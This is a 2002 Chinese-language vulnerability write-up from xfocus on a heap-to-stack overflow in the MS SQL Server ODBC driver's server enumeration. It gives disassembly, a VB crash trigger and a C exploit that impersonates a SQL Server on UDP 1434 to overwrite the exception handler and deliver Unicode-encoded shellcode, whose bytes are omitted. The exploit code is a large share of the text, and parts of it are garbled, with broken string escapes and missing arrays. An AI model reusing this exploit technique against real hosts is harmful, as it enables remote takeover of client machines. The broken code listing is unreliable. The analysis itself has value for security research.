MS SQL SERVER ODBC驅動SQL 伺服器列舉堆疊溢位漏洞
建立時間:2002-09-23
文章屬性:原創
文章來源:http://www.xfocus.net
文章提交:flashsky (flashsky1_at_sina.com)
轉摘請註明作者和安全焦點
作者:FLASHSKY
SITE:WWW.XFOCUS.NET
郵件:flashsky@xfocus.org
MS的SQL SERVER ODBC驅動中存在一個溢出漏洞,攻擊者可以通過這個漏洞,發送精心組織的資料包就可以達到遠端控制任何通過SQL SERVER ODBC列舉SQL SERVER伺服器的主機。於是看了一下SQL SERVER用戶端的兩個主要程式的彙編:SQLSVR32。DLL和DBNETLIB。DLL。發現存在一個堆溢出。以下主要是對中文W2K SERVER+SP3的內建的ODBC驅動進行的研究,其他平台未測試。英文版的ODBC串連好象不出這個問題。
SQL SERVER ODBC收到包以後會把所有接收到的包轉換成unicode格式存放到堆中,而且每個包之間採用";;"作為分界符號。
我們來看一下其處理的彙編代碼:
.text:74CB72A1 loc_74CB72A1:
.text:74CB72A1 mov edx, [ebp+var_4]
.text:74CB72A4 mov eax, [ebp+var_104C] ebp-0x104c放當前已迴圈的個數
.text:74CB72AA cmp eax, [edx+8] edx+8存放收到的總包個數
.text:74CB72AD jge loc_74CB70F2
.text:74CB72B3 mov ecx, [ebp+var_1044]
.text:74CB72B9 mov edx, [ecx+4]
.text:74CB72BC mov eax, [ebp+var_1048]
.text:74CB72C2 lea ecx, [eax+edx*2]
.text:74CB72C5 mov edx, [ebp+arg_8]
.text:74CB72C8 cmp ecx, [edx]
.text:74CB72CA jle short loc_74CB72D3
.text:74CB72CC xor eax, eax
.text:74CB72CE jmp loc_74CB6EB7
.text:74CB72D3 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:74CB72D3
.text:74CB72D3 loc_74CB72D3: ; CODE XREF: GetNextEnumeration+455j
.text:74CB72D3 mov eax, [ebp+var_1044]
.text:74CB72D9 mov ecx, [eax+4]
.text:74CB72DC push ecx ; cchWideChar
.text:74CB72DD mov edx, [ebp+arg_4] ebp+arg_4是傳入的堆開始地址
.text:74CB72E0 add edx, [ebp+var_1048] ebp+var_1048是計算使用了多少的堆,初始值為0
.text:74CB72E6 push edx ; lpWideCharStr
.text:74CB72E7 mov eax, [ebp+var_1044] ebp+var_1044開始是收到包的結構類型數組的指標,這個數組前面4個位元組每個包的緩衝地址指標,後面是包的大小,其C的定義如
typedef struct _PACKBUF{
char * bufpoint;
long buflen;}PACKBUF,*PPACKBUF;
PACKBUF sqludprecv[];
ebp+var_1044 就是一個 *PPACKBUF=&sqludprecv;
.text:74CB72ED mov ecx, [eax+4] eax存放為包大小資料
.text:74CB72F0 push ecx ; cchMultiByte
.text:74CB72F1 mov edx, [ebp+var_1044]
.text:74CB72F7 mov eax, [edx] 載入緩衝地址指標
.text:74CB72F9 add eax, 3 從包的便移3開始拷貝,前面三個位元組為一個位元組包類型,2個位元組包長度資訊
.text:74CB72FC push eax ; lpMultiByteStr
.text:74CB72FD push 0 ; dwFlags
.text:74CB72FF push 0 ; CodePage
.text:74CB7301 call ds:MultiByteToWideChar
.text:74CB7307 mov ecx, [ebp+var_1044]
.text:74CB730D mov edx, [ecx+4]
.text:74CB7310 mov eax, [ebp+var_1048]
.text:74CB7316 lea ecx, [eax+edx*2] ecx=包大小乘以2(因為變成雙位元組了)
.text:74CB7319 mov [ebp+var_1048], ecx OK!這個就是結合上面.text:74CB72E0處移動對應堆積指標的地方
.text:74CB731F mov edx, [ebp+var_104C]
.text:74CB7325 add edx, 1
.text:74CB7328 mov [ebp+var_104C], edx 迴圈數字加1
.text:74CB732E mov eax, [ebp+var_1044]
.text:74CB7334 mov ecx, [eax+8]
.text:74CB7337 mov [ebp+var_1044], ecx 移動到下一個數組的位置: ebp+var_1044=ebp+var_1044+8;
.text:74CB733D jmp loc_74CB72A1
.text:74CB733D GetNextEnumeration endp
然後在下面的代碼產生堆疊溢位:在sqlsvr32.dll中,主要作用是對包資料進行分析的。
.text:411B06A5 mov edx, [esp+10h]
.text:411B06A9 mov ecx, 0FAh
.text:411B06AE xor eax, eax
.text:411B06B0 lea edi, [esp+10h+arg_1C]
.text:411B06B4 repe stosd
.text:411B06B6 lea ecx, [edx+edx]
.text:411B06B9 mov esi, ebp
.text:411B06BB mov eax, ecx
.text:411B06BD lea edi, [esp+10h+arg_1C]
.text:411B06C1 shr ecx, 2
.text:411B06C4 repe movsd
這段代碼把原來的堆中的資料到拷貝到堆棧,但是其劃分的依據是一個";"作為分界符號,而這個分配的空間是有限的,在01740(6000)給位元組的地方會覆蓋返回地址。如果你發送幾個包,只要在堆中位置連續且不存在";"和0x00,0x00,且大於6000(因為UNICODE處理以後會加倍)則會導致溢出。可以用如下VB代碼驗證溢出的產生
Dim str As String
Dim str1
Dim i
Winsock1.GetData str
str1 = "" & Chr(5) & Chr(&HFF) & Chr(&H9) ‘最動只能0x1000大小的包
str1 = str1 & str(4092,"2")
For i = 1 To 200
Winsock1.SendData str1
Next
然後你在另一台區域網路的某台機器上的管理工具中開啟ODBC管理程式,選擇一個SQL SERVER的系統DSN,然後在列出下拉SQL SERVER伺服器的時候就會引發這個溢出,由於這個傳來的代碼沒有含有特殊的字串,因此程式只會異常退出,其實跟蹤一下程式會發現不僅僅引發了異常,而且足夠多的資料還可以覆蓋異常結構中的異常處理地址,導致最後程式的執行點跳轉到0x32003200上(因為傳過去溢出字串是'2',asc代碼是0x32,而經過MultiByteToWideChar處理以後,被覆蓋掉的例外處理常式地址就成了0x32003200了),如果能精心構造傳過去的字元內容,就可以達到遠端控制主機的目的。
利用這個溢出需要考慮如下問題:
1。地址覆蓋,因為是要被unicode處理,覆蓋的地址要滿足轉化條件
2。SHELLCODE需要是滿足unicode的
3。由於要覆蓋和得到UNICODE SHELL需要有大量資料發送,但包接收只接受0x1000的位元組,所以需要多包發送,但是由於前面貼出的且堆處理格式,只以包乘2算位置,如果前面的包轉換成unicode不是完全滿足,包的中間要存在多個0x00,如果存在0x00,0x00這無法被連續拷貝。所以前面的包一定要是ASC的包,這也限制的要覆蓋地址的類型的選擇。
4。要防備其他 sql server伺服器也發包,如果在中間會導致截斷。
問題一通過跟蹤發現,其堆棧位置大致是在0x6a000左右,因此可以設定地址0x00070007為覆蓋的地址,我在多種情況下測試基本是可行的。問題二是利用isno的編碼unicode的方法,在程式開始的時候再解碼成正式代碼。我用的就是isno寫的一個unicode shellcode,跟蹤發現程式運行很好,可以有效饒過unicode,不過shellcode中的饒過異常處理還是存在問題,我溢出產生,正確跳轉和解碼以後,執行到後面還是被異常捕獲了。這個shellcode可能還是需要改進。問題三是前面全部發送asc的代碼,只在最後一個包發送可解碼的shellcode。問題四則是前面發正常包,並適當延時來解決。
下面由於shellcode是isno寫的,這裡就不列出了:另外望高手指點幾個問題:
1。由於前面說的原因的限制,覆蓋地址只能選擇寫入程式碼,有沒有更好的方案,特別是覆蓋地址是必須滿足傳過去的代碼經過MultiByteToWideChar處理以後擴充成2倍,否則會導致堆中出現0x00而截斷後面的shellcode。
2。現在的shellcode還是不能很好的捕獲異常,關於這方面我的瞭解有限,有沒有更多關於異常在程式運行時的結構的資料。
#include <winsock2.h>
#include <windows.h>
void main()
{
unsigned char buffer[4096];
unsigned char bufhead[3]={5,0xfc,0xf};
unsigned char buf1 []="ServerName;11111111;InstanceName;MSSQLSERVER;IsClustered;No;Version;8.00.194;tcp;1433;np;////11111111//pipe//sql//query;;"; //用於偽裝正常包,進行延時,最後在發送溢出包,使不被其他的包導致再堆中的中斷。
unsigned char buf2 [4092];
unsigned char buf3 [4092];
unsigned char sendbuf [0x1000];
unsigned char temp;
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
HANDLE listener;
int e;
int i;
int sendlen;
DWORD a1;
const int SNDBUF = 0;
const int TCPNODELAY = TRUE;
const int BROADCAST = TRUE;
struct sockaddr_in udpfrom;
int udpfromlen = sizeof(udpfrom);
int n ;
unsigned char shellend[4] = {0x4e,0x4e,0,0}; //用於標記shellcode結束的
unsigned char shellcode1[]= //略去,是isno寫的
unsigned char shellcodehead[70]= //略去,是isno寫的,用於解碼shellcode用
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf(/"WSAStartup error.Error:%d//n/",WSAGetLastError());
return FALSE;
}
if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
{
printf(/"Socket failed.Error:%d//n/",WSAGetLastError());
return FALSE;
}
sendlen = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellcodehead,-1,sendbuf,0x1000,NULL,NULL); //把解碼的代碼轉化,這樣在對方的MultiByteToWideChar處理下,正好獲得我們想要的解碼代碼
sendlen--;
memcpy(sendbuf+sendlen,shellcode1,sizeof(shellcode1));
sendlen = sendlen+sizeof(shellcode1); //加上一段被編碼的unicode。
sendlen--;
i = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellend,-1,sendbuf+sendlen,0x10,NULL,NULL);
sendlen = sendlen +i-1;
//以上構造了一個完整的可自我解碼的shellcode
memset(buf3,0x4,4092);
//由於分多包發送,前面的必須只能是128以下的字元,其考慮加零情況的彙編
這個緩衝是等同於NOP操作的,被unicode編碼以後的彙編是:add ax,0
memset(buf2,7,4092);
//設定溢出地址覆蓋的緩衝
buf2[3000]=8;
//覆蓋地址成為 0x070008,由於是asc碼,被MultiByteToWideChar處理以後長度正好是6000,覆蓋返回地址
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(1434);
addr_in.sin_addr.S_un.S_addr=inet_addr(/"192.168.0.60/");
n = bind(sock,(SOCKADDR*)&addr_in,sizeof(addr_in));
//監聽1434 UDP連接埠
if(n!=0)
{
e= WSAGetLastError();
return -1;
}
//有人在使用
n = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&udpfrom, &udpfromlen);
*((WORD *)(bufhead+1))=sizeof(buf1)-1;
memcpy(buffer,bufhead,3);
memcpy(buffer+3,buf1,sizeof(buf1)-1);//進行時間延長,避免包被其他的打斷
for(i=0;i<4;i++)
{
n = sendto(sock, buffer,sizeof(buf1)+2, 0,(struct sockaddr *)&udpfrom, &udpfromlen);
Sleep(100);
}
//以上發送4個正常的包,並進行延時,保證其他的SQL SERVER已經回複完,自己下面發的包不被其他的包截斷
*((WORD *)(bufhead+1))=4092;
memcpy(buffer,bufhead,3);
memcpy(buffer+3,buf2,4092);//發送地址覆蓋的包
n = sendto(sock, buffer, 4095, 0,(struct sockaddr *)&udpfrom, &udpfromlen);
*((WORD *)(bufhead+1))=4092;
memcpy(buffer,bufhead,3);
memcpy(buffer+3,buf3,4092);//發送空指令包,保證其最終可以跳轉到有效地址上來。
for(i=0;i<2;i++)
n = sendto(sock, buffer, 4095, 0,(struct sockaddr *)&udpfrom, &udpfromlen);
//寫入SHELLCODE
*((WORD *)(bufhead+1))=sendlen;
memcpy(buffer,bufhead,3);
memcpy(buffer+3,sendbuf,sendlen);
n = sendto(sock, buffer, sendlen+3, 0,(struct sockaddr *)&udpfrom, &udpfromlen);
WSACleanup();
return 0;
}